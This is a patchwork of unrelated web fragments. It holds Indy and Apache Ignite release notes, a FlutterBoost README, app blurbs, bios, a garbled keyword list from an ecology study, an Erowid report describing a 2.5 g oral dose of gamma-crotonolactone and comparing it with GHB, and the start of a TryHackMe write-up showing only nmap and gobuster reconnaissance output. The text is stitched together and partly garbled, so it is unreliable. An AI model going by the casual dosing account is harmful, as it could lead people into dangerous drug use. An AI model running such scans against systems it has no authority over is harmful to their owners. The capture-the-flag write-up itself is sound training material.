is in the directory location /etc/indy/. The configuration file has a new setting called "NETWORK_NAME"
which is used to identify which network and associated genesis transaction files to use, such as sandbox
or live
. If adding a new node to a live pool, change this setting before initializing the node.
The genesis files are now located in their own directory based off the network name “/var/lib/indy/NETWORK_NAME”. The defaults are live
, local
, and sandbox
. Setting the "NETWORK_NAME"
in the indy_config.py
file will determine which network is used. The default setting in the indy_config.py
file is “"NETWORK_NAME=sandbox"
.
1.1.6 Hot Fix¶
Component Version Information¶
| Components | Version Numbers | | — | — | | indy-plenum | 1.1.27 | | indy-anoncreds | 1.0.10 | | indy-node | 1.1.43 | | release version number | 1.1.6 | | | | |
Major Fixes¶
| Description | Additional Information | Ticket Number |
| — | — | — |
| Added a migration script which eliminates redundant fields with null
values from legacy transactions in the domain ledger. | | INDY-895 INDY-869 |
| Added a constraint on version
field of POOL_UPGRADE
transaction that denies values lower than the current installed version. | | INDY-895 INDY-869 |
| Added prevention of upgrade to a lower version to Upgrader
class. | | INDY-895 INDY-869 |
| Fixed a bug in Upgrader
class in search for a POOL_UPGRADE cancel
transaction for the last POOL_UPGRADE start
transaction. | | INDY-895 INDY-869 |
| Added a test verifying prevention of upgrade to a lower version. | | INDY-895 INDY-869 |
| Corrected existing tests according to introduced prevention of upgrade to a lower version. | | INDY-895 INDY-869 |
| | | | |
1.1.6¶
Component Version Information¶
| Components | Version Numbers | | — | — | | indy-plenum | 1.1.27 | | indy-anoncreds | 1.0.10 | | indy-node | 1.1.37 | | release version number | 1.1.6 | | | | |
Major Fixes¶
| Description | Additional Information | Ticket Number |
| — | — | — |
| Stewards can now demote and promote their own nodes. | | INDY-410 |
| Fixed problem with timezones for timestamp in a transaction. | | INDY-466 |
| Limited incoming message size from 128k to 128MB (Temporary solution). | | INDY-25 |
| Fixed send CLAIM_DEF
command. | | INDY-378 |
| Masked private information in the CLI logs/output. | | INDY-725 |
| Fixes crashes on ubuntu 17.04. | | INDY-8 |
| Python interpreter is executed in optimized mode. | | INDY-211 |
| Memory leak fixes. | | INDY-223 |
| Some minor stability fixes. | | |
| Fixed a problem with migration during manual upgrades. | | INDY-808 |
| Fixed a problem with the message length limitation. This was a permanent solution of INDY-25. | | INDY-765 |
| Fixed a problem when the pool was writing transactions when more than F nodes were stopped. | | INDY -786 |
| Fixed a problem when the pool was broken after processing lots of transactions at once. | | INDY-760 |
| Fixed a problem when the pool doesn
’
t come back to consensus in cases when less than n-f nodes are alive. | | INDY-804 | | Partially fixed a problem when the pool responded with outdated data. | | INDY-761 | | | | | |Changes - Additions - Known Issues¶
| Description | Workaround | Ticket | | — | — | — | | New ledger serialization is supported and Leveldb is used as a storage for all ledgers : msgpack is used for the ledger serialization (both transaction log and merkle tree). | | | | The new serialization change created changes to the directory structure for the nodes. The directory name changes are located on a node under .sovrin/data/nodes/
<
node name>
/<
directories>
. The change removes the ledger files as plain text files and creates them as binary files. A new tool was created to view the ledger entries calledread_ledger
. This tool also provides you with a count of the transactions. To learn more about this tool and to see a list of available commands, run this as the sovrin user: read_ledger --h
| | |
| Genesis transaction files are renamed adding a _genesis to the end of each file name. | | |
| Added the commands to the POOL_UPGRADE to support downgrade and re-installation. However both have issues and should not be used at this time. | | INDY-735 INDY-755 |
| Fixes to upgrade procedure, in particular an issue which caused an infinite loop. | | INDY-316 |
| A new CLI command was added to ease the process of rotating a verification key (verkey). The command is change current key
or change current key with seed xxxxx
. | | |
| Improvements to log messages. | | |
| Publishing only to repo.sovrin.org | | |
| In your sources.list you only need the entry "
deb https://repo.evernym.com/deb xenial stable"
. | | | | Implemented a command line tool to provide validator status. | | INDY-715 | |"
Debug"
mode for tests was moved to parameter. | | INDY-716 | | Log levels were changed on some debug level messages to an info level. | | INDY-800 | | If the pool loses enough nodes and cannot reach consensus when enough nodes become available, the pool will still not reach consensus. | If you restart all the nodes in the pool, it will start reaching consensus again. | INDY-849 |1.0¶
Major Features¶
| Description |Additional Information | | —| —| | Identities can be created, and their exercise and evolution can be controlled by ed25519 key pairs (where the public verkey is stored and updated on the ledger). | | | Identities are fully self-sovereign by default. Guardianship, as described in The Sovrin Provisional Trust Framework, is also possible. | The Sovrin Provisional Trust Framework | | Identities can have an agent, and the agent endpoint can be declared on the ledger. | | | Identities are associated with the roles defined in The Sovrin Provisional Trust Framework. Specifically see: trustee, steward, trust anchor, TGB member, and normal identity. | The Sovrin Provisional Trust Framework | | Identities with special roles have the appropriate permissions. | http://bit.ly/2eRfeIV | | The ledger supports a core set of transaction types suitable for early workflows | http://bit.ly/2v1OAmO | | Byzantine consensus is robust and transparent, providing diffuse trust. | | | Ledger state is enstructured as a Patricia Trie. This is the precondition for implementing Observer nodes and for having high-trust answers with any number of invalid high-trust answers with any number of malicious intermediaries. | | | The network generates log files that stewards can use as an audit trail. | | | The network can be upgraded without manual tasks for stewards, using a POOL_UPGRADE transaction. | | | Batching is functional, allowing bulk submission and reasonable throughput. (Note, however, that very large batches of more than a few thousand transactions are discouraged because they consume network resources unfairly and may cause brownouts for other users.) | | | Simple safeguards are in place to react to hacking and DDoS attempts. | | | Terminology in the CLI has been updated to align with usage in the Provisional Trust Framework and the DID specification. In particular, this release is DID-centric, whereas earlier previews were cryptonym-centric. | | | Registering simple schemas for claims, and then deriving claims and proofs from them, is possible. This supports many of the use cases envisioned for simple verifiable claims, but not the advanced privacy-preserving features offered by Camenisch-Lysyanskya-style schemes. | | | | | |
Deferred Features¶
| Description | Additional Information | | — | — | | DDO support: Currently, the DID support in Sovrin uses ATTRIB transactions. This limits the complexity and granularity of identity control. Full DDO support will be necessary to support models such as individual signers being empowered to represent a corporation, for example. | | | Rich schema: W3C verifiable claim schema thinking is still evolving, and we need time to experiment with the best ways to represent certain constructs. Very complex credential types may not yet be representable. | | | Revocation: Although the cryptographic foundation for revocation is fully implemented in the anoncreds component that Sovrin depends on, the ledger currently lacks a transaction type to update accumulators. This means initial claims won
’
t support revocation. | | | Observers and state proofs: Although the state trie is present in the ledger, code to return a state proof with each answer from the ledger has not yet been released. This means clients need to hear f+1 consistent answers from validator nodes before they can trust any response from the ledger. The Indy SDK supports this type of response checking, and will cut over to using the more efficient state proof mechanism as soon as Sovrin does. Once we have that mechanism in place, observer nodes become trustworthy because they cannot simulate state proofs. This drastically increases the scale and performance of the system. | Indy SDK | | | | |Known Issues¶
| Description | Workaround | Ticket | | — | — | — | | Stewards demoting a node: Stewards should be able to demote and promote their own node. Demoting a node removes it from the pool so it does not participate in the pool reaching consensus. | | INDY-410 | | Ubuntu 17.04 support: Currently the CLI and Node are not supported on Ubuntu 17.04. | | INDY-8 | | Timezones not matching: If a system timezone of the primary does not match that of the other nodes the pool cannot function. | 1.  2. Use “sudo dpkg-reconfigure tzdata” to change your timezone to UTC. (Select “None of the Above” and then “UTC”.) | INDY-466 | | Installing client as root: Installing the client as root does not allow users to access the transaction files and they are not able to connect to the pool. | | INDY-24 | | | | | |
New Terminology Changes to the CLI¶
Please be aware that the following terminology has changed:
- . keyring is now
"
wallet"
- . link is now
"
connection"
- . invitation is now
"
request"
- . identifier is now
"
DID"
Emergencies¶
For emergencies where the Network is under a DOS attack, there is a new command for Trustees only that will put the Pool into a read-only mode.
send POOL\_CONFIG writes=False
or optional
send POOL\_CONFIG writes=False force=False
The following are bool parameters: writes and force. Writes is required. Force is not required. The default for force is False.
Other Important Information¶
Keyrings to Wallets Directory¶
With the terminology change from
"
keyring"
to"
wallet,"
the wallets that have already been created will be the client in the .sovrin/keyrings/live directory. When you upgrade, you’
ll have to start the CLI and connect to live just once for the wallet directory to be created. The new directory is .sovrin/wallets/live. The upgrade does not move your existing wallets from /keyrings/live to /wallets/live since the wallet directory does not exist until you connect for the first time. You will need to move the existing wallets from /keyrings/live to /wallets/live and they will be ready for use.Time Stamps¶
With the latest builds (which will be on your new stable) you will start to see a time stamp in the ledger for the transactions. It will look like the following:
V4SGRU86Z58d6TV7PBUe6f|1500090331922505|5iBLSL3iujkNsX4RiGN7RjDk5UVtE8GHsn8XHsRsmhUUN9Jz8GEmYtpPrso8e96jo3YafhYSwPkd9QXYA3wYyst4|1500090332|1|Pqs6Tyj1huDsjKYsiF8w4f|~WwZD24Fk4ka7ZY47MPopoo||||||2||
The time stamp is the entry that shows<PHONE_NUMBER>.
The<PHONE_NUMBER> is the utc epoch and a converter can be found at this site https://www.epochconverter.com/ so you can see the human readable version of the time.


Currently you are not in any party. Either create one or join one :D
Create party button.
List of currently Open Parties you can join!
Join party button on the row for each one.
Can also be invited by party leaders :D.
GroupName
Description
Members
{{party.partyName}}
{{party.partyDescription}}
{{usernameP}}
Welcome to the {{party.partyName}}! Party
You are the party leader.
disband/leave the party button.
(Leader) kick out a member button.
(Leader)select a quest from the list of quests!


Release Note
v3.0-preview.9
PS: Before updating the beta version, please read the CHANGELOG to see if there are any BREAKING CHANGE
-
- Flutter SDK upgrades do not require Boost upgrades
-
- Simplify the architecture
-
- Simplify the interface
-
- Unified design of double-end interface
-
- Solved the Top Issue
-
- Android does not need to distinguish between AndroidX and Support
FlutterBoost
A next-generation Flutter-Native hybrid solution. FlutterBoost is a Flutter plugin which enables hybrid integration of Flutter for your existing native apps with minimum efforts.The philosophy of FlutterBoost is to use Flutter as easy as using a WebView. Managing Native pages and Flutter pages at the same time is non-trivial in an existing App. FlutterBoost takes care of page resolution for you. The only thing you need to care about is the name of the page(usually could be an URL).
Prerequisites
- Before proceeding, you need to integrate Flutter into your existing project.
- The Flutter SDK version supported by Boost 3.0 is >= 1.22
Getting Started
Add a dependency in you Flutter project.
Open you pubspec.yaml and add the following line to dependencies:
flutter_boost:
git:
url: 'https://github.com/alibaba/flutter_boost.git'
ref: 'v3.0-preview.9'
Boost Integration
使用文档
建设文档
FAQ
please read this document: FAQ
License
This project is licensed under the MIT License - see the LICENSE file for details
关于我们
阿里巴巴-闲鱼技术是国内最早也是最大规模线上运行Flutter的团队。
我们在公众号中为你精选了Flutter独家干货，全面而深入。
内容包括：Flutter的接入、规模化应用、引擎探秘、工程体系、创新技术等教程和开源信息。
架构／服务端／客户端／前端／算法／质量工程师 在公众号中投递简历，名额不限哦
<EMAIL_ADDRESS>订阅地址


You can include declaration render inline by using these formats (without \
):
\[\[\[Lib]]]
: equals ["Lib"]
\[\[\[Options | FULL | {"title":"The Options"}]]]
: equals ["Options", "FULL", { title: 'The Options' }]
\{\@render Lib}
\{\@render Options | FULL | {"title":"The Options"}}


Have a bunch of files you want to merge together and make unique? Super super fast command:
awk '!a[$0]++' <folder>/<folder>/* > combined


Apache Ignite community is pleased to announce Apache Ignite 1.9 - the next minor release of a well-known in-memory data fabric. The release, as usual, encompasses many bug fixes, performance improvements and fresh features. Below you can see a description of the most significant updates.
Kubernetes Support
Apache Ignite was integrated with Kubernetes which is a modern open source container cluster manager. The integration helps to simplify a deployment of an Apache Ignite cluster in environments managed by Kubernetes and let the latter care of resources management, cluster's scalability and lifecycle.
For instance, you're no longer need to monitor a cluster state constantly to be sure that the number of cluster nodes doesn't go, let's say, below 4. If Kubernetes sees that one cluster node is disconnected and only 3 are left then it will start one more automatically to meet the deployment requirements.
Refer to Kubernetes Deployment Getting Started if this is the feature of interest for you.
Performance Optimizations and Benchmarks Automation
Apache Ignite 1.9 can boast of much better performance for core cache operations and SQL queries in compare to the previous Apache Ignite 1.8 release. In general, we observe up to 40% performance increase for particular operations.
It's no longer a challenge to reproduce the performance numbers. Starting with Apache Ignite 1.9 release all the benchmarks are delivered in every Apache Ignite distribution and can be easily executed in your own environment.
Data Modification Language and Queries Parallelism
The community keeps spending significant time improving SQL Grid component that empowers Apache Ignite users with in-memory database capabilities.
In this release, DML (Data Modification Language) support was expanded to the level of Ignite.NET and Ignite.C++ APIs. Plus, a streaming mode was introduced for DML allowing to execute DML operations even faster for specific scenarios like initial data preloading.
One more SQL Grid related optimization makes it possible to parallelize a query execution on every Ignite node where the query has been mapped. By default, a query is executed in a single thread on every participating node. However, for a variety of OLAP use cases it might be a bottleneck and this is where the query parallelism can help out.
Ignite.NET
Apache Ignite implemented .NET TransactionScope API allowing to work with distributed Apache Ignite transactions fully relaying on standard interfaces available in .NET Framework. Refer to this documentation page for more information.
Ignite.C++
Ignite.C++ introduced support for well-known continuous queries API. Now, you can listen to data modifications happened on Apache Ignite's distributed caches side from your C++ applications.
Spark
Ignite’s spark integration was upgraded to the latest Spark version. Presently, you can leverage from Ignite Shared RDDs in applications using latest Spark version.
Give a Try
Go and grab the latest 1.9 release from our main site. Looking forward to your feedback!


D Jordan
Home
Blog
Store
About
Contact
Amazon Products
Phones
Computer
Accessories
Books
Pieces
Woman
Men
Accessories
>


Edit
Use this tool to edit the website and other files on the server. Most operations require elevated privileges. Contact Ben for instructions and privilege elevation.
Mail
This leads to the @bensigal.com domain RoundCube mail viewer.


hammocks resilience areas coastal SLR assess hammock low scored flooding used data indicators sensitivity climate persistence Climate change exposure high based {border-style values LPBR px;} sea #ffffff;} cover resilient risk Change forest Table polygons Available: Sciences area ecological Exposure Land level value canopy category ecosystems hurricane indicator polygon vulnerability Coastal NDVI Sea collab: height score study type vegetation > In: MCHM Report Resilience analysis assigned class highly impact proportion water Biosphere Campeche, Ecology Fig Nacional Sensitivity analyses defined estimated land spatial Ecol Hammocks Hurricanes Los MAMM Petenes [Internet]. assessment disturbances ecosystem hammocks, increase located natural px; using vulnerable {font-family ./journal.pone..t Data Hammock LPBR. México University Yucatán applied changes coastline concept del ecosystems, editors. font-size framework fringe highest importance important mixed model pixels relative scenarios size weighting < (.% Assessment GIS Landsat New Patch Proximity appropriate assumed categories characterized comparison decrease developed double; exposed intersected intrinsic layer likely number patches precipitation represented rise scores sensitivity, streams vegetation, (>. Environmental GPV. Mexican Multiple México. National Press; SLR, Science Type World assign basin border-color border-width change, considered corresponded criterion dense different distance editor. future hammocks. hand, high, hurricanes indicators, influence km, mangrove maps method para persistence. processes resilience. response scales showed solid; species stability storm studies study, surface tidal tides transition types {font-style {font-weight (.%) (score BHJdJ Cambridge Colegio Conservación Criteria DSM Earth Ecosystems Ecosystems: Environments Estadística Fifth Finally, Frontera Holling Indicator Instituto Intergovernmental International LCC Level MAMM. Mangrove Marine Max Methods Mexico Mexico, Min No.: Panel Reserve. Rev Working analysis, assessed bold classes coast courier; criteria criteria. disturbance effect em; high-precision hot human images impacts index indicators. interpolation largest mainly mangroves, medium models moderate pairwise pattern perturbations polygon. pp. protected pt;} remaining research resilience, salt scenario scheme schemes secondary sensitive significant systems total tropical zone Áreas


Okay, Prolog is cool. (Still reading Seven Languages in Seven Weeks, though it’s taking a few more weeks than that.)


Chen H and Sharp BM.Content-rich biological network constructed by mining PubMed abstracts.BMC Bioinformatics. 2004 Oct 8;5:147[Full text]
Cited in:
Li H, Chen H, Bao L, Manly KF, Chesler EJ, Lu L, Wang J, Zhou M, Williams
RW, Cui Y. Integrative genetic analysis of transcription modules: towards
filling the gap between genetic loci and inherited traits.
Hum Mol Genet. 2006 Feb 1;15(3):481-92. PubMed
Douglas SM, Montelione GT, Gerstein M. PubNet: a flexible system for
visualizing literature derived networks. Genome Biol. 2005;6(9):R80.
Weeber, M., Kors, J.A., Mons, B. (2005) Online tools to support
literature-based discovery in the life sciences Briefings in Bioinformatics 6
(3), pp. 277-286
Skusa, A., Rüegg, A., Köhle(2005) Extraction of biological interaction
networks from scientific literature Briefings in Bioinformatics 6 (3), pp.
263-276
Scherf, M., Epple, A., Werner, T. (2005) The next generation of literature
analysis: Integration of genomic analysis into text mining Briefings in
Bioinformatics 6 (3), pp. 287-297
Buckingham SD. (2005) Data mining for protein-protein interactions in
invertebrate model organisms. Invert Neurosci. 5(3-4):183-7.
Martin Krallinger and Alfonso Valencia (2005). Text-mining and
information-retrieval services for molecular biology. Genome Biology, 6:224
Henk Harkema, Ian Roberts, Rob Gaizauskas, and Mark Hepple (2005) A web
service for biomedical term look-up. Comparative and Functional Genomics Volume
6, Issue 1-2 , Pages 86 - 93
Kerns RT, Ravindranathan A, Hassan S, Cage MP, York T, Sikela JM, Williams
RW, Miles MF (2005) Ethanol-responsive brain region expression networks:
implications for behavioral responses to acute ethanol in DBA/2J versus
C57BL/6J mice. J Neurosci. 25(9):2255-66.
Hoffmann R, Krallinger M, Andres E, Tamames J, Blaschke C, Valencia A.
(2005) Text mining for metabolic pathways, signaling cascades, and protein
networks. Sci STKE. (283):pe21.
Parslow, Websites of Note, Biochemistry and Molecular Biology Education.
2005; 33: 310-312.
Nikolsky Y, Nikolskaya T, Bugrim A. Biological networks and analysis of
experimental data in drug discovery. Drug Discov Today. 2005 May
1;10(9):653-62.
Jorg Hakenberg, Conrad Plake, Ulf Leser Harald Kirsch, and Dietrich
Rebholz-Schuhmann. LLL'05 Challenge: Genic Interaction Extraction -
Identification of Language Patterns Based on Alignment and Finite State
Automata. Proceedings of the 4 th Learning Language in Logic Workshop (LLL05),
Bonn, Germany, 2005.


I grow up in Jordan, where I started my interest in web development, as a platform that brought intellect, innovationism, and art to one stage. Though my early years of college my dreams were not sponsored through technology. At first, I started studying industrial design in college. Though I been able to do really well through the first two years of the program, my dreams were not visualized in sketches. I wanted to evolve in human relationships and business entrepreneurship, which ideally can be achieved through a joint educational program of Business administration and design. Sadly my school did not offer so. Thus, I later changed my program to Business Administration, which I graduated from on 2012 From Yarmouk University of Jordan.
During that time I had the opportunity to work with an innovative web development company, which was highly educational. The team had high expectation and the leaders gave me the chance to work on one of their big clients, through it I learned how to design and build ERP systems using raw PHP language, designing workflow, user cases, and database diagrams. Those were the stepping stones that led me to technology and web development.
I then moved to the USA to start new life experiences. I left Jordan with dreams to grow and achieve a new level of self-worth. Though I did have my online business for trade and marketing with a team in Jordan, I did need to focus on what I can make in the USA. I start working in all kind of work fields, from inside restaurants and medical equipment supply management to startups system architecture and infrastructure designs. During the last four years, I've been slowly seeking my Second Bachelor in Information Technology at UMass Boston, Which I am expected to finish next fall with the last remaining course. Yay.
And now, I am seeking to advance my knowledge and experiences in System architecture and dynamic client-focused software development. Hoping to find the right team to work with and join the team visions. .


WStat
A simple way to gather data
and generate statistics.
Get Started
-
Easy to Use
Our application is easy to use, all you need to do is start our crawler, gather data then create a statistic using the data you gathered.
-
Gather data
You can easily gather data using our crawler, it works with multiple social platforms such as Facebook, Twitter, Reddit, Tumblr and so many more.
As long as a platform has an API, you can configure our crawler for it. -
Real-time statistics
We use Chart.JS for our statistics, for beautiful and responsive charts.
You're guaranteed to find a chart suited for your desired statistic, plus it will be updated in real-time so you won't miss anything


V.V.R. Raj Satyen has rich Entrepreneurial, Operational and Managerial experience earned in diverse business,and Combines technical know - how of enterprises with shrewd business acumen.Raj Satyen was entrusted the responsibility of leading IT Wing during difficult times. However, with his stellar action and AMMA's blessings today. Party has regained respect and members are confident.
Information Technology Wing of the party was ambitiously ignited for fair, clean and free practice. The aim was to reposition AMMA’s party image for changing times. Mr.V.V.R.Raj Satyen was entrusted the responsibility for leading the IT Wing during turmoil times. However, with his stellar action and blessings of AMMA even today. The Party has regained respect and members across different level in the state of TamilNadu are confident.
Mr.V.V.R.Raj Satyenbeliefs in Positive Youth Development. He says this begins only when Positive Experiences and Positive Relationships in Positive Environments could be developed. Just like “Honey Bees surrounding a garden has been a natural phenomenon”.
Mr.V.V.R.Raj Satyenis always seen surrounded with youth in dozens. As he is seen as a leading light for many youngers and believes their future is shaped better along with him as a positive development.
His focus isengaging youth within their Communities, Schools, Colleges, Organizations, Peer groups and Family in a manner that is productive and constructive; recognizes, utilizes and enhances young people’s strength and promotes positive outcomes for young people by providing opportunities, cultivating positive relationships and strengthen the support needed to build on their leadership strengths.
Mr.V.V.R.Raj Satyen vision on youth development has always been to Involve and Engage youth as equal partners which benefits the youth involved.
Mr.V.V.R.Raj Satyen has a practice of drawing upon Social Work and Community Development. He beliefs in the participation in Individual level, Family level, Community level, where he values the person to actively participate in life.
He also involves himself in Social Policies by impacting local and national level actions to promote social equity by inclusion of all persons. He thrives to achieve through inclusive education and socio-economic integration to facilitate social inclusion.
He also gives personalized social support in one specific and personal approach to social inclusion where a person need to be accompanied to thrive his or her personal situation and environment.
Mr.V.V.R.Raj Satyen influences on Social Empowerment through Social Work, Personalized Social Support and General Inclusion Support.
He has been actively involved in impacting lives with innovative solutions and facilitating opportunities for every individual. His social initiatives involve creating and incubating social enterprise thereby providing livelihood sustainability.
V.V.R. Raj Satyen returned from US to India to start up "Bserve" in 2004."Bserve" is a pioneering effort by him in the Business Process Outsourcing Sector in Madurai when the industry itself was a fledgling in India. He was one of the first ones to introduce Knowledge Process Outsourcing in Madurai.The company grew from a four member team to strength of 120 employees.


JavaScript required
We're sorry, but TWIC doesn't work properly without JavaScript enabled. Please enable JavaScript in your browser to enjoy the Twic experience !
Hi, it seems your
browser
is outdated
Have a more comfortable experience with our new features
Update your browser or download the latest version of
Mozilla Firefox
or
Google Chrome
Get Chrome
Get Firefox
Hide


The Aniballs like to play hide and seek with their friends, find them all ! Inspired by the famous "Where is Waldo" by Martin Handford and designed for toddlers and children (2 - 5 years old). AniBall Finding is a game in which the kids will have to find the hidden animal amongst the others. Develops sens of observation and speed of analysis. Each level difficulty increases as more different animals and more Aniballs come down!
Play storeDip'dee the space explorer crashed on an hostile planet because of a road hog !
Help him survive as long as possible !
Every life form on this planet is attracted to yellow, bad luck Dip'dee's suit is all yellow !

MyOmBox is positioned as a control interface between you and your MyHome home automation system from Legrand and Bticino. The time and care taken in its development make MyOmBox a quality product. MyOmBox works without subscription and even without internet connection (recommended if you want to benefit from the weather, updates ...)
App store WebsiteFree, easy to use, and intended for all members of the family, the Entre Voisins application is a unique social network specifically designed to promote exchanges and get closer to its neighbors.
App store WebsiteThe Game of Life, also known simply as Life, is a cellular automaton devised by the British mathematician John
Horton Conway in 1970.
The game is a zero-player game, meaning that its evolution is determined by its initial state, requiring no
further input.
One interacts with the Game of Life by creating an initial configuration and observing how it evolves, or,
for advanced players, by creating patterns with particular properties.
Proceduraly generated dungeon prototype using BSP splits and Unity3d
What is BSP Splits ?
In computer science, binary space partitioning (BSP) is a method for recursively subdividing a space into
convex sets by hyperplanes. This subdivision gives rise to a representation of objects within the space by
means of a tree data structure known as a BSP tree.


| DOSE: |
2.5 g |
oral |
Gamma-Crotonolactone |
(liquid) |
Having read some reports about gamma-C I decided to purchase some.
Late one particular friday evening about a week after the gamma-C arrived I was having trouble sleeping and decided to try this new product.
I had heard various reports about how much to use. Everything from 1g to 3g.
I have a 1ml pipette and I calculated that 1ml = about 1g. Since I weigh 190 pounds I opted to start at the high end of the dosage range.
This chemical looks like GBL and its viscosity is very similar. But the smell is fairly strong and the taste is the worse! I could not drink it strait or with water.  I had an empty stomach as it was about 2 in the morning and I had not eaten since dinner time.
After about 25 minutes I started to feel the effects. I felt a very slight nausea, much less than with g-BL or GHB. A nice pleasant sedative effect soon overcame me. I turned on the stereo with some light trance music. I became completely relaxed and very happy. I only wish I had been with friends as I really wanted to share the experience.
At about the 1 hour point I thought to myself that with this much GHB or g-BL that I would have gone to sleep. The sedative effects of the g-Crotonolactone were stronger and deeper yet not too similar to GHB or g-BL. They felt better. But I did not fall asleep!
The whole experience lasted about 3 or 4 hours with the effects dropping off slowly over that time.
This is a great chemical. The taste is too strong for the date rape crowd to use.  Also, I did not sleep or pass out as I would have with GHB or g-BL.
This is my first try with this chemical. I am really impressed. I will share this with friends.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Univariate Distributions
The following should implement sample
, pdf
, log-pdf
, support-lower
, support-upper
, cdf
, icdf
, mean
, variance
and pmf
and log-pmf
for discrete distributions.
Dirichlet
(dirichlet concentration)
λ> (dirichlet [1 10 20])
#distributions.core.DirichletDistribution{:alpha [1 10 20]}
Discrete (Integer)
Expect better performance than using discrete-real
with integers.
(discrete-integer integers probabilities)
λ> (discrete-integer [3 4] [0.5 0.5])
#distributions.core.DiscreteInteger{:integers [3 4], :probabilities (0.5 0.5)}
Discrete (Real)
(discrete-real locations probabilities)
λ> (discrete-real [0.2 0.3] [0.5 0.5])
#distributions.core.DiscreteReal{:locations [0.2 0.3], :probabilities (0.5 0.5)}
λ>
Enumerated
Generalization of both Discrete-Real and Discrete-Integer
(enumerated items probabilities)
λ> (enumerated [:a "foo" 5 [1 2] {:mykey "mymap"}] [0.2 0.2 0.2 0.2 0.2])
#distributions.core.Enumerated{:items [:a "foo" 5 [1 2] {:mykey "mymap"}], :probabilities (0.2 0.2 0.2 0.2 0.2), :discrete #distributions.core.DiscreteInteger{:integers (0 1 2 3 4), :probabilities (0.2 0.2 0.2 0.2 0.2)}, :imap {:a 0, "foo" 1, 5 2, [1 2] 3, {:mykey "mymap"} 4}}
λ> (sample (enumerated [:a "foo" 5 [1 2] {:mykey "mymap"}] [0.2 0.2 0.2 0.2 0.2]))
{:mykey "mymap"}
Gamma
(gamma shape rate)
λ> (gamma 3 2)
#distributions.core.Gamma{:shape 3, :rate 2}
Generalized Double Pareto
(gdp scale shape)
λ> (gdp 4 3)
#distributions.core.GeneralizedDoublePareto{:scale 4, :shape 3}
Inverse Gaussian
(inverse-gaussian mean shape)
λ> (inverse-gaussian 3 4)
#distributions.core.InverseGaussianDistribution{:mean 3, :shape 4}
Negative Binomial
(negative-binomial failues probabilities)
λ> (negative-binomial 10 0.4)
#distributions.core.NegativeBinomial{:failures 10, :probability 0.4}
Normal-Laplace
The density of this distribution is proportional to the product of a normal density with mean mu and variance gamma*s2 and a laplace density with rate tau. It is implemented as a mixture of truncated distributions.


Battery TryHackMe Writeup
Battery TryHackMe Writeup
First Stage : Enumeration.
Note : this is one of the ways to do this room. Try your own way and root it !
Let’s start with nmap
# Nmap 7.91 scan initiated Sat Jan 16 14:40:15 2021 as: nmap -sC -sV -T4 -vv -p- -oN nmapscan <IP_ADDRESS>
Nmap scan report for <IP_ADDRESS>
Host is up, received conn-refused (0.15s latency).
Scanned at 2021-01-16 14:40:16 IST for 741s
Not shown: 65533 closed ports
Reason: 65533 conn-refused
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 14:6b:67:4c:1e:89:eb:cd:47:a2:40:6f:5f:5c:8c:c2 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAPe2PVDHBBlUCEtHNVxjToY/muZpZ4hrISDM7fuGOkh/Lp9gAwpEh24Y/u197WBDTihDJsDZJqrJEJSWbpiZgReyh1LtJTt3ag8GrUUDJCNx6lLUIWR5iukdpF7A2EvV4gFn7PqbmJmeeQRtB+vZJSp6VcjEG0wYOcRw2Z6N6ho3AAAAFQCg45+RiUGvOP0QLD6PPtrMfuzdQQAAAIEAxCPXZB4BiX72mJkKcVJPkqBkL3t+KkkbDCtICWi3d88rOqPAD3yRTKEsASHqSYfs6PrKBd50tVYgeL+ss9bP8liojOI7nP0WQzY2Zz+lfPa+d0uzGPcUk0Wg3EyLLrZXipUg0zhPjcXtxW9+/H1YlnIFoz8i/WWJCVaUTIR3JOoAAACBAMJ7OenvwoThUw9ynqpSoTPKYzYlM6OozdgU9d7R4XXgFXXLXrlL0Fb+w7TT4PwCQO1xJcWp5xJHi9QmXnkTvi386RQJRJyI9l5kM3E2TRWCpMMQVHya5L6PfWKf08RYGp0r3QkQKsG1WlvMxzLCRsnaVBqCLasgcabxY7w6e2EM
| 2048 66:42:f7:91:e4:7b:c6:7e:47:17:c6:27:a7:bc:6e:73 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkDLTds2sLmn9AZ0KAl70Fu5gfx5T6MDJehrsCzWR3nIVczHLHFVP+jXDzCcB075jjXbb+6IYFOdJiqgnv6SFxk85kttdvGs/dnmJ9/btJMgqJI0agbWvMYlXrOSN26Db3ziUGrddEjTT74Z1kokg8d7uzutsfZjxxCn0q75NDfDpNNMLlstOEfMX/HtOUaLQ47IeuSpaQoUkNkHF2SGoTTpbC+avzcCNHRIZEwQ6HdA3vz1OY6TnpAk8Gu6st9XoDGblGt7xv1vyt0qUdIYaKib8ZJQyj1vb+SJx6dCljix4yDX+hbtyKn08/tRfNeRhVSIIymOTxSGzBru2mUiO5
| 256 a8:6a:92:ca:12:af:85:42:e4:9c:2b:0e:b5:fb:a8:8b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCYHRWUDqeSQgon8sLFyvLMQygCx01yXZR6kxiT/DnZU+3x6QmTUir0HaiwM/n3aAV7eGigds0GPBEVpmnw6iu4=
| 256 62:e4:a3:f6:c6:19:ad:30:0a:30:a1:eb:4a:d3:12:d3 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILW7vyhbG1WLLhSEDM0dPxFisUrf7jXiYWNSTqw6Exri
80/tcp open http syn-ack Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 16 14:52:37 2021 -- 1 IP address (1 host up) scanned in 742.27 seconds
So the ports that are open are
- 22
- 80
Since only port 80 seems the possible way in , let’s fire up gobuster.
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://<IP_ADDRESS>/
[+] Threads: 50
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
